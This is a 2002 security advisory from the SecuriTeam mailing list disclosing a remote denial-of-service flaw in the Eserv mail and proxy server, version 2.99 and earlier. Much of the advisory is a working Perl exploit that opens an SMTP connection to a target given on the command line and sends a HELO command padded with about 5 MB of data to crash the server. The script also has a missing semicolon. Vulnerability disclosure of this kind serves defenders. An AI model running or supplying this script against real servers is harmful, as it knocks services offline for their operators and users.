[NT] Eserv Remote Denial of Service (5mb HELO)
From: support@securiteam.com
Date: 12/15/02
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From: support@securiteam.com To: list@securiteam.com Date: 15 Dec 2002 23:24:59 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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Eserv Remote Denial of Service (5mb HELO)
------------------------------------------------------------------------
SUMMARY
<http://www.eserv.ru/> Eserv is a Mail, News, Web, FTP and Proxy Servers
for Win95/98/NT/2000. A security vulnerability in the product allows
remote attackers to cause the server to crash by sending it more than 5Mb
of data.
DETAILS
Vulnerable systems:
* Eserv version 2.99 and prior
Exploit:
#!/usr/bin/perl -w
#greetz: marocit
#tool Eserv_dos.pl
use IO::Socket;
$buffer = "A"x 5080000 ;
$hel = "HELO "
$connect = IO::Socket::INET ->new (Proto=>"tcp", PeerAddr=> "$ARGV[0]",
PeerPort=>"25"); unless ($connect) { die "cant connect $ARGV [0]" }
print $connect "$hel$buffer";
print "\nsending exploit......\n\n";
ADDITIONAL INFORMATION
The information has been provided by <mailto:securma@caramail.com>
securma massine.
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